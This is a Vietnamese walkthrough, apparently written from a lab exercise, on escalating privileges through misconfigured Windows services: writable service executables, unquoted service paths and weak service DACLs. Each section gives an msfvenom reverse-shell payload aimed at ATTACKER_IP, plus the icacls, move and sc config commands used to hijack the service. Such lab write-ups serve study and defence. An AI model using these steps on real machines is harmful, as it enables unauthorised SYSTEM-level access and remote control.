Windows Services

Các dịch vụ trong Windows được quản lý bởi Service Control Manager (SCM). Mỗi service đều sẽ có một file thực thi tương ứng và được thực thi bằng một user nào đó. Các file thực thi này sẽ cần phải có một số hàm đặc biệt để chạy dưới dạng dịch vụ.

Để kiểm tra thông tin về một dịch vụ, ta dùng lệnh sc qc <SERVICE_NAME>1. Nếu muốn truy vấn tất cả các dịch vụ đang chạy thì dùng lệnh sau:

sc queryex type=service

Note

Cần chú ý rằng chương trình sc là ở trên cmd.exe, đối với PowerShell, ta cần dùng sc.exe.

Nếu không muốn dùng sc thì dùng lệnh native của PowerShell:

Get-Service | Where-Object {$_.Status -eq 'Running'}

Ví dụ kiểm tra thông tin về một dịch vụ nào đó:

C:\> sc qc apphostsvc
[SC] QueryServiceConfig SUCCESS
 
SERVICE_NAME: apphostsvc
        TYPE               : 20  WIN32_SHARE_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Windows\system32\svchost.exe -k apphost
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : Application Host Helper Service
        DEPENDENCIES       :
        SERVICE_START_NAME : localSystem

Có thể thấy file thực thi của dịch vụ trên là C:\Windows\system32\svchost.exe (trường BINARY_PATH_NAME) và dịch vụ được thực thi bởi localSystem (trường SERVICE_START_NAME).

Mỗi dịch vụ có một DACL (Discretionary Access Control List) cho biết quyền khởi chạy, tắt, tạm dừng, etc của các người dùng. Ngoài ra, các cấu hình của các dịch vụ được lưu ở trong Registry tại đường dẫn HKLM\SYSTEM\CurrentControlSet\Services\.

Minh họa:

Có thể thấy, đường dẫn file thực thi nằm ở trường ImagePath và tên user thực thi nằm ở ObjectName. Nếu DACL được cấu hình, giá trị của nó sẽ nằm ở trong trường Security của registry.

Insecure Permissions on Service Executable

Nếu attacker có quyền chỉnh sửa file thực thi của dịch vụ thì có thể chạy các payload tùy ý để giúp leo thang đặc quyền.

Ví dụ xét service WindowsScheduler:

C:\> sc qc WindowsScheduler
[SC] QueryServiceConfig SUCCESS
 
SERVICE_NAME: windowsscheduler
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 0   IGNORE
        BINARY_PATH_NAME   : C:\PROGRA~2\SYSTEM~1\WService.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : System Scheduler Service
        DEPENDENCIES       :
        SERVICE_START_NAME : .\svcuser1

File thực thi nằm ở đường dẫn C:\PROGRA~2\SYSTEM~1\WService.exe (đường dẫn này tương đương với C:\Program Files (x86)\SystemScheduler\WService.exe).

Thử kiểm tra các quyền của file này:

C:\Users\thm-unpriv>icacls C:\PROGRA~2\SYSTEM~1\WService.exe
C:\PROGRA~2\SYSTEM~1\WService.exe Everyone:(I)(M)
                                  NT AUTHORITY\SYSTEM:(I)(F)
                                  BUILTIN\Administrators:(I)(F)
                                  BUILTIN\Users:(I)(RX)
                                  APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX)
                                  APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(I)(RX)
 
Successfully processed 1 files; Failed processing 0 files

Có thể thấy, tất cả mọi user (Everyone) đều có quyền chỉnh sửa (Modify - M). Do vậy, ta có thể thay thế nó thành một file thực thi khác mà ta muốn.

Chạy câu lệnh Metasploit Venom sau để tạo ra payload:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=ATTACKER_PORT -f exe-service -o rev-svc.exe

Ta chạy webserver bằng Python và chuyển payload cho target machine. Sau đó đổi tên file thực thi của dịch vụ và chuyển payload vừa tải vào đường dẫn của file thực thi:

C:\> cd C:\PROGRA~2\SYSTEM~1\
 
C:\PROGRA~2\SYSTEM~1> move WService.exe WService.exe.bkp
        1 file(s) moved.
 
C:\PROGRA~2\SYSTEM~1> move C:\Users\thm-unpriv\rev-svc.exe WService.exe
        1 file(s) moved.

Ta cần phải gán đầy đủ quyền cho payload:

C:\PROGRA~2\SYSTEM~1> icacls WService.exe /grant Everyone:F
        Successfully processed 1 files.

Sau đó khởi chạy Netcat server ở attacking machine và restart dịch vụ như sau:

C:\> sc stop windowsscheduler
C:\> sc start windowsscheduler

Khi đó, ở attacking machine ta sẽ có được reverse shell có quyền administrator.

Unquoted Service Paths

Nếu đường dẫn của file thực thi không có dấu ngoặc kép, ta có thể lợi dụng để leo thang đặc quyền.

Ví dụ xét dịch vụ sau:

C:\> sc qc "disk sorter enterprise"
[SC] QueryServiceConfig SUCCESS
 
SERVICE_NAME: disk sorter enterprise
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 0   IGNORE
        BINARY_PATH_NAME   : C:\MyPrograms\Disk Sorter Enterprise\bin\disksrs.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : Disk Sorter Enterprise
        DEPENDENCIES       :
        SERVICE_START_NAME : .\svcusr2

Có thể thấy, đường dẫn của file thực thi có khoảng trắng. Thay vì xảy ra lỗi, SCM lại cố gắng tìm file thực thi và chạy chúng theo thứ tự như sau:

CommandArgument 1Argument 2
C:\\MyPrograms\\Disk.exeSorterEnterprise\\bin\\disksrs.exe
C:\\MyPrograms\\Disk Sorter.exeEnterprise\\bin\\disksrs.exe
C:\\MyPrograms\\Disk Sorter Enterprise\\bin\\disksrs.exe

Nếu chúng ta tạo được file thực thi Disk.exe ở trong thư mục C:\\MyPrograms thì có thể leo thang đặc quyền.

Tuy nhiên, đa số các chương trình đều được cài đặt ở trên các thư mục cần có đặc quyền để ghi chẳng hạn như C:\Program FilesC:\Program Files (x86). Do đó, kỹ thuật này chỉ có thể sử dụng đối với những dịch vụ mà có file thực thi nằm ở các thư mục mà ta có quyền ghi.

Đối với dịch vụ ở ví dụ trên, ta cần kiểm tra quyền của thư mục C:\MyPrograms:

C:\>icacls c:\MyPrograms
c:\MyPrograms NT AUTHORITY\SYSTEM:(I)(OI)(CI)(F)
              BUILTIN\Administrators:(I)(OI)(CI)(F)
              BUILTIN\Users:(I)(OI)(CI)(RX)
              BUILTIN\Users:(I)(CI)(AD)
              BUILTIN\Users:(I)(CI)(WD)
              CREATOR OWNER:(I)(OI)(CI)(IO)(F)
 
Successfully processed 1 files; Failed processing 0 files

Có thể thấy là user BUILTIN\Users có quyền AD và WD tương ứng với tạo các thư mục con và các tập tin.

Ta tạo ra payload bằng Metasploit Venom tương tự như kỹ thuật trước đó:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=ATTACKER_PORT -f exe-service -o rev-svc2.exe

Chuyển cho target machine và khởi chạy một Netcat server ở attacking machine. Sau đó chuyển payload đã tải ở target machine vào thư mục mà ta muốn với tên Disk.exe, cũng như là cấp đầy đủ quyền cho nó:

C:\> move C:\Users\thm-unpriv\rev-svc2.exe C:\MyPrograms\Disk.exe
 
C:\> icacls C:\MyPrograms\Disk.exe /grant Everyone:F
        Successfully processed 1 files.

Khởi động lại dịch vụ và ta sẽ có được reverse shell có quyền administrator.

Insecure Service Permissions

Trong trường hợp hai kỹ thuật trên không thể thực hiện (chúng ta không có quyền thay đổi file thực thi và đường dẫn đến file thực thi được bao quanh bởi dấu ngoặc kép), ta vẫn có cách để leo thang đặc quyền nếu ta có quyền cấu hình dịch vụ để nó trỏ đến file thực thi bất kỳ và sử dụng user bất kỳ.

Ta kiểm tra quyền cấu hình của dịch vụ bằng chương trình accesschk64.exe:

C:\tools\AccessChk> accesschk64.exe -qlc thmservice
  [0] ACCESS_ALLOWED_ACE_TYPE: NT AUTHORITY\SYSTEM
        SERVICE_QUERY_STATUS
        SERVICE_QUERY_CONFIG
        SERVICE_INTERROGATE
        SERVICE_ENUMERATE_DEPENDENTS
        SERVICE_PAUSE_CONTINUE
        SERVICE_START
        SERVICE_STOP
        SERVICE_USER_DEFINED_CONTROL
        READ_CONTROL
  [4] ACCESS_ALLOWED_ACE_TYPE: BUILTIN\Users
        SERVICE_ALL_ACCESS

Có thể thấy, user BUILTIN\Users có quyền SERVICE_ALL_ACCESS nên ta có thể cấu hình service một cách tùy ý.

Tương tự những kỹ thuật trên, ta cũng tạo một payload bằng Metasploit Venom, chuyển sang cho bên target machine và khởi chạy Netcat server ở attacking machine.

msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=ATTACKER_PORT -f exe-service -o rev-svc3.exe

Gán đầy đủ quyền cho payload:

icacls C:\Users\thm-unpriv\rev-svc3.exe /grant Everyone:F

Ta cấu hình service như sau:

sc config THMService binPath= "C:\Users\thm-unpriv\rev-svc3.exe" obj= LocalSystem

Sau đó khởi động lại service và ta có được reverse shell với quyền administrator ở attacking machine.

Resources

Footnotes

  1. Xem thêm các câu lệnh truy vấn thông tin dịch vụ ở trên Windows.